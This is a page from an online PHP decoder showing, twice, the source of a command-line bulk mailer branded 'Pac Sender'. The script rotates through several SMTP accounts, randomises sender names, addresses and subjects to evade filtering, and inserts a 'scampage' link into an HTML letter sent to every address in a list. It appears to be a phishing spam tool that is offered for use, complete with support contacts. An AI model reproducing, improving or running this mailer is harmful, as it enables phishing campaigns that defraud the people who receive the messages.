Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php require_once("Mailer/phpmailer/PHPMailerAutoload.php"); include('smtp-config.php')..

Decoded Output download

<?php 
require_once("Mailer/phpmailer/PHPMailerAutoload.php"); 
include('smtp-config.php'); 
include('function.php'); 
                                    
echo "                       \e[0m\e[1;91m                    \e[0m
"; 
                                                                              
 
 
echo "          \e[0m\e[1;36m______            _____                _           \e[0m
"; 
echo "          \e[0m\e[1;36m| ___ \          /  ___|              | |          \e[0m
"; 
echo "          \e[0m\e[1;36m| |_/ /_ _  ___  \ `--.  ___ _ __   __| | ___ _ __ \e[0m
"; 
echo "          \e[0m\e[1;36m|  __/ _` |/ __|  `--. \/ _ \ '_ \ / _` |/ _ \ '__|\e[0m
"; 
echo "          \e[0m\e[1;36m| | | (_| | (__  /\__/ /  __/ | | | (_| |  __/ |   \e[0m
"; 
echo "          \e[0m\e[1;36m\_|  \__,_|\___| \____/ \___|_| |_|\__,_|\___|_|   \e[0m
"; 
echo "          \e[0m\e[1;91m                                                   \e[0m
"; 
echo "
"; 
echo "\e[1;36m  \e[1;32mFiles\e[1;36m                 \e[1;37mSSL&TLS : \e[1;32mON           \e[1;91m
"; 
echo "\e[1;36m  \e[1;37m Letter \e[1;91m:\e[1;32m let1.html\e[1;36m   \e[1;32mInfo\e[1;36m\e[0m
"; 
echo "\e[1;36m  \e[1;37m Emails \e[1;91m:\e[1;32m Emails.txt\e[1;36m   \e[1;37mTotal smtp         \e[1;91m:\e[1;36m 3 \e[1;36m                \e[1;32m                        \e[0m
"; 
echo "\e[1;36m  \e[1;37m Smtp   \e[1;91m:\e[1;91m Add Smtps\e[1;36m    \e[1;37mSupport icq        \e[1;91m:\e[1;36m 770675088              \e[0m
"; 
echo "\e[1;36m     \e[1;37mSupport Email      \e[1;91m:\e[1;36m [email protected]           \e[1;32m
"; 
echo "\e[1;32m                          \e[1;36m \e[1;37mVersion New Sender \e[1;91m:\e[1;36m 1.8                
"; 
echo "\e[1;32m                          \e[1;36m            
"; 
echo "\e[1;32m               \e[1;36m          
"; 
echo "\e[1;32m               \e[1;36m\e[1;37mClick Enter to start\e[1;36m 
"; 
 
echo "
";                                                         
 
function Kirim($email, $Smtps, $setup) 
{ 
    $smtp           = new SMTP; 
    $smtp->do_debug = 0; 
 
    $smtpserver     = $Smtps['host'];  
    $smtpport       = $Smtps['port']; 
    $smtpuser       = $Smtps['username']; 
    $smtppass       = $Smtps['password']; 
    $priority       = $setup['priority']; 
    $userandom      = $setup['userandom']; 
    $sleeptime      = $setup['sleeptime']; 
    $replacement    = $setup['replacement']; 
    $userremoveline = $setup['userremoveline']; 
    $fromname       = $setup['fromname']; 
    $frommail       = $setup['frommail']; 
    $subject        = $setup['subject']; 
    $msgfile        = $setup['msgfile']; 
    $filepdf        = $setup['filesend']; 
    $randurl        = $setup['scampage']; 
 
    if (!$smtp->connect($smtpserver, $smtpport)) { 
        throw new Exception('Connect failed'); 
    } 
 
    //Say hello 
    if (!$smtp->hello(gethostname())) { 
        throw new Exception('EHLO failed: ' . $smtp->getError()['error']); 
    } 
 
    $e = $smtp->getServerExtList(); 
 
    if (array_key_exists('STARTTLS', $e)) { 
        $tlsok = $smtp->startTLS(); 
        if (!$tlsok) { 
            throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']); 
        } 
        if (!$smtp->hello(gethostname())) { 
            throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']); 
        } 
        $e = $smtp->getServerExtList(); 
    } 
 
    if (array_key_exists('AUTH', $e)) { 
 
        if ($smtp->authenticate($smtpuser, $smtppass)) { 
            $mail           = new PHPMailer; 
            $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable 
            $mail->CharSet  = 'UTF-8'; 
            $mail->headerLine("format", "flowed"); 
            /*  Smtp connect    */ 
            //$mail->addCustomHeader('X-Ebay-Mailtracker', '11400.000.0.0.df812eaca5dd4ebb8aa71380465a8e74'); 
            $mail->IsSMTP(); 
            $mail->SMTPAuth = true; 
            $mail->Host     = $smtpserver; 
            $mail->Port     = $smtpport; 
            $mail->Priority = $priority; 
            $mail->Username = $smtpuser; 
            $mail->Password = $smtppass; 
 
            if ($userandom == 1) { 
                $rand     = rand(1, 50); 
                $fromname = randName($rand); 
                $frommail = randMail($rand); 
                $subject  = randSubject($rand); 
            } 
 
            if ($setup['filesend'] == 0) { 
                $filepdf = file_get_contents($AddAttachment); 
                $mail->AddAttachment($filepdf); 
            } 
 
            $asu       = RandString1(8); 
            $asu1      = RandString(5); 
            $asu2      = RandString1(5); 
            $nmbr      = RandNumber(5); 
            $fromnames = str_replace('##randstring##', $asu1, $fromname); 
            $frommails = str_replace('##randstring##', $asu, $frommail); 
            $subjects  = str_replace('##randstring##', $asu2, $subject); 
 
            $mail->setFrom($frommails, $fromnames); 
 
            $mail->AddAddress($email); 
 
            $mail->Subject = $subjects; 
            if ($replacement == 1) { 
                $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject ); 
            } else { 
                $msg = file_get_contents($msgfile); 
            } 
 
            $mail->msgHTML($msg); 
 
            if (!$mail->send()) { 
                echo "SMTP Error : " . $mail->ErrorInfo; 
                exit(); 
            } else { 
                echo "\e[1;36m   To   \e[1;32m$email \e[1;34m\e[0m              \e[1;91m \e[0m
"; 
				                echo "\e[1;36m    \e[1;34m\e[0m              \e[1;91m \e[0m
"; 
               echo "\e[1;36m 
"; 
                echo "\e[1;36m    \e[1;34m\e[0m              \e[1;91m \e[0m
"; 
                echo "\e[1;36m   \e[1;37m Time      \e[0m: \e[1;36m"; 
                echo date('h:i:s A'); 
                echo "\e[1;34m 
"; 
                echo "\e[1;36m   \e[1;37m Sender\e[0m    :\e[1;36m $fromname\e[0m
"; 
                echo "\e[1;36m   \e[1;37m Subject\e[0m   :\e[1;36m $subject\e[0m
"; 
                echo "\e[1;36m   \e[1;37m Status\e[0m    : \e[1;32mSUCCESS\e[0m
"; 
				                echo "\e[1;36m    \e[1;34m\e[0m              \e[1;91m \e[0m
"; 
            } 
            $mail->clearAddresses(); 
 
        } else { 
            throw new Exception('Authentication failed: ' . $smtp->getError()['error']); 
        } 
 
        $smtp->quit(true); 
 
    } 
 
} 
 
 
 
    $file = file_get_contents($setup['mail_list']); 
    if ($file) { 
        $ext = preg_split('/
|
?/', $file); 
        echo "                               \e[1;91m\e[1;91m 
"; 
        echo "
"; 
        echo "
"; 
        $smtp_key = 0; 
        foreach ($ext as $num => $email) { 
 
            if ($smtp_key == count($Smtps)) { 
                $smtp_key = 0; 
            } 
            //kirim 
            Kirim($email, $Smtps[$smtp_key], $setup); 
 
            $smtp_key++; 
 
            /// 
            sleep($setup['sleeptime']); 
        } 
        if ($setup['userremoveline'] == 1) { 
            $remove = Removeline($mailist, $email); 
        } 
    } 
 ?>

Did this file decode correctly?

Original Code

<?php
require_once("Mailer/phpmailer/PHPMailerAutoload.php");
include('smtp-config.php');
include('function.php');
                                   
echo "                       \e[0m\e[1;91m                    \e[0m\r\n";
                                                                             


echo "          \e[0m\e[1;36m______            _____                _           \e[0m\r\n";
echo "          \e[0m\e[1;36m| ___ \          /  ___|              | |          \e[0m\r\n";
echo "          \e[0m\e[1;36m| |_/ /_ _  ___  \ `--.  ___ _ __   __| | ___ _ __ \e[0m\r\n";
echo "          \e[0m\e[1;36m|  __/ _` |/ __|  `--. \/ _ \ '_ \ / _` |/ _ \ '__|\e[0m\r\n";
echo "          \e[0m\e[1;36m| | | (_| | (__  /\__/ /  __/ | | | (_| |  __/ |   \e[0m\r\n";
echo "          \e[0m\e[1;36m\_|  \__,_|\___| \____/ \___|_| |_|\__,_|\___|_|   \e[0m\r\n";
echo "          \e[0m\e[1;91m                                                   \e[0m\r\n";
echo "\r\n";
echo "\e[1;36m  \e[1;32mFiles\e[1;36m                 \e[1;37mSSL&TLS : \e[1;32mON           \e[1;91m\r\n";
echo "\e[1;36m  \e[1;37m Letter \e[1;91m:\e[1;32m let1.html\e[1;36m   \e[1;32mInfo\e[1;36m\e[0m\r\n";
echo "\e[1;36m  \e[1;37m Emails \e[1;91m:\e[1;32m Emails.txt\e[1;36m   \e[1;37mTotal smtp         \e[1;91m:\e[1;36m 3 \e[1;36m                \e[1;32m                        \e[0m\r\n";
echo "\e[1;36m  \e[1;37m Smtp   \e[1;91m:\e[1;91m Add Smtps\e[1;36m    \e[1;37mSupport icq        \e[1;91m:\e[1;36m 770675088              \e[0m\r\n";
echo "\e[1;36m     \e[1;37mSupport Email      \e[1;91m:\e[1;36m [email protected]           \e[1;32m\r\n";
echo "\e[1;32m                          \e[1;36m \e[1;37mVersion New Sender \e[1;91m:\e[1;36m 1.8                \r\n";
echo "\e[1;32m                          \e[1;36m            \r\n";
echo "\e[1;32m               \e[1;36m          \r\n";
echo "\e[1;32m               \e[1;36m\e[1;37mClick Enter to start\e[1;36m \r\n";

echo "\r\n";                                                        

function Kirim($email, $Smtps, $setup)
{
    $smtp           = new SMTP;
    $smtp->do_debug = 0;

    $smtpserver     = $Smtps['host']; 
    $smtpport       = $Smtps['port'];
    $smtpuser       = $Smtps['username'];
    $smtppass       = $Smtps['password'];
    $priority       = $setup['priority'];
    $userandom      = $setup['userandom'];
    $sleeptime      = $setup['sleeptime'];
    $replacement    = $setup['replacement'];
    $userremoveline = $setup['userremoveline'];
    $fromname       = $setup['fromname'];
    $frommail       = $setup['frommail'];
    $subject        = $setup['subject'];
    $msgfile        = $setup['msgfile'];
    $filepdf        = $setup['filesend'];
    $randurl        = $setup['scampage'];

    if (!$smtp->connect($smtpserver, $smtpport)) {
        throw new Exception('Connect failed');
    }

    //Say hello
    if (!$smtp->hello(gethostname())) {
        throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
    }

    $e = $smtp->getServerExtList();

    if (array_key_exists('STARTTLS', $e)) {
        $tlsok = $smtp->startTLS();
        if (!$tlsok) {
            throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']);
        }
        if (!$smtp->hello(gethostname())) {
            throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']);
        }
        $e = $smtp->getServerExtList();
    }

    if (array_key_exists('AUTH', $e)) {

        if ($smtp->authenticate($smtpuser, $smtppass)) {
            $mail           = new PHPMailer;
            $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
            $mail->CharSet  = 'UTF-8';
            $mail->headerLine("format", "flowed");
            /*  Smtp connect    */
            //$mail->addCustomHeader('X-Ebay-Mailtracker', '11400.000.0.0.df812eaca5dd4ebb8aa71380465a8e74');
            $mail->IsSMTP();
            $mail->SMTPAuth = true;
            $mail->Host     = $smtpserver;
            $mail->Port     = $smtpport;
            $mail->Priority = $priority;
            $mail->Username = $smtpuser;
            $mail->Password = $smtppass;

            if ($userandom == 1) {
                $rand     = rand(1, 50);
                $fromname = randName($rand);
                $frommail = randMail($rand);
                $subject  = randSubject($rand);
            }

            if ($setup['filesend'] == 0) {
                $filepdf = file_get_contents($AddAttachment);
                $mail->AddAttachment($filepdf);
            }

            $asu       = RandString1(8);
            $asu1      = RandString(5);
            $asu2      = RandString1(5);
            $nmbr      = RandNumber(5);
            $fromnames = str_replace('##randstring##', $asu1, $fromname);
            $frommails = str_replace('##randstring##', $asu, $frommail);
            $subjects  = str_replace('##randstring##', $asu2, $subject);

            $mail->setFrom($frommails, $fromnames);

            $mail->AddAddress($email);

            $mail->Subject = $subjects;
            if ($replacement == 1) {
                $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject );
            } else {
                $msg = file_get_contents($msgfile);
            }

            $mail->msgHTML($msg);

            if (!$mail->send()) {
                echo "SMTP Error : " . $mail->ErrorInfo;
                exit();
            } else {
                echo "\e[1;36m   To   \e[1;32m$email \e[1;34m\e[0m              \e[1;91m \e[0m\n";
				                echo "\e[1;36m    \e[1;34m\e[0m              \e[1;91m \e[0m\n";
               echo "\e[1;36m \r\n";
                echo "\e[1;36m    \e[1;34m\e[0m              \e[1;91m \e[0m\n";
                echo "\e[1;36m   \e[1;37m Time      \e[0m: \e[1;36m";
                echo date('h:i:s A');
                echo "\e[1;34m \r\n";
                echo "\e[1;36m   \e[1;37m Sender\e[0m    :\e[1;36m $fromname\e[0m\n";
                echo "\e[1;36m   \e[1;37m Subject\e[0m   :\e[1;36m $subject\e[0m\n";
                echo "\e[1;36m   \e[1;37m Status\e[0m    : \e[1;32mSUCCESS\e[0m\n";
				                echo "\e[1;36m    \e[1;34m\e[0m              \e[1;91m \e[0m\n";
            }
            $mail->clearAddresses();

        } else {
            throw new Exception('Authentication failed: ' . $smtp->getError()['error']);
        }

        $smtp->quit(true);

    }

}



    $file = file_get_contents($setup['mail_list']);
    if ($file) {
        $ext = preg_split('/\n|\r\n?/', $file);
        echo "                               \e[1;91m\e[1;91m \r\n";
        echo "\r\n";
        echo "\n";
        $smtp_key = 0;
        foreach ($ext as $num => $email) {

            if ($smtp_key == count($Smtps)) {
                $smtp_key = 0;
            }
            //kirim
            Kirim($email, $Smtps[$smtp_key], $setup);

            $smtp_key++;

            ///
            sleep($setup['sleeptime']);
        }
        if ($setup['userremoveline'] == 1) {
            $remove = Removeline($mailist, $email);
        }
    }

Function Calls

None

Variables

None

Stats

MD5 22dfe50a0a4f72dd234513069f06ef90
Eval Count 0
Decode Time 111 ms